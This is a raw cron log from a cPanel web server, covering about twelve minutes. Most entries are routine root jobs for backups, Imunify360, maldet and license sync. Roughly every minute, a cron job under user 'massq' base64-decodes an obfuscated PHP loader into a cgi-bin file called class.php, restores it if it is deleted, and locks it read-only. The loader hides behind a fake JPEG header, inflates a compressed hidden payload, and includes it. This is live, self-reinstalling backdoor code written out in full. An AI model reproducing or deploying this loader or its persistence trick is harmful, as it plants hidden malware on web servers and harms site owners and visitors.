Sep  2 07:20:01 server CROND[24511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:20:01 server CROND[24517]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:20:01 server CROND[24515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:20:01 server CROND[24513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:21:01 server CROND[25419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:21:01 server CROND[25420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:21:01 server CROND[25421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:22:01 server CROND[25792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:22:01 server CROND[25793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:22:01 server CROND[25791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:23:01 server CROND[26172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:23:01 server CROND[26173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:23:01 server CROND[26174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:24:01 server CROND[26545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:24:01 server CROND[26546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:24:01 server CROND[26547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:25:01 server CROND[26941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:25:01 server CROND[26945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:25:01 server CROND[26946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:25:01 server CROND[26948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:25:01 server CROND[26944]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:25:01 server CROND[26947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:25:01 server CROND[26943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:26:01 server CROND[27831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:26:01 server CROND[27832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:26:01 server CROND[27830]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:27:01 server CROND[28241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:27:01 server CROND[28242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:27:01 server CROND[28240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:27:01 server CROND[28243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 07:28:01 server CROND[28614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:28:01 server CROND[28615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:28:01 server CROND[28616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:29:01 server CROND[29036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:29:01 server CROND[29038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:29:01 server CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:30:01 server CROND[29422]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:30:01 server CROND[29424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:30:01 server CROND[29428]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:30:01 server CROND[29426]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:30:01 server CROND[29427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:30:01 server CROND[29425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:30:01 server CROND[29423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:30:01 server CROND[29430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:31:01 server CROND[30322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:31:01 server CROND[30323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:31:01 server CROND[30324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:32:01 server CROND[30724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:32:01 server CROND[30725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
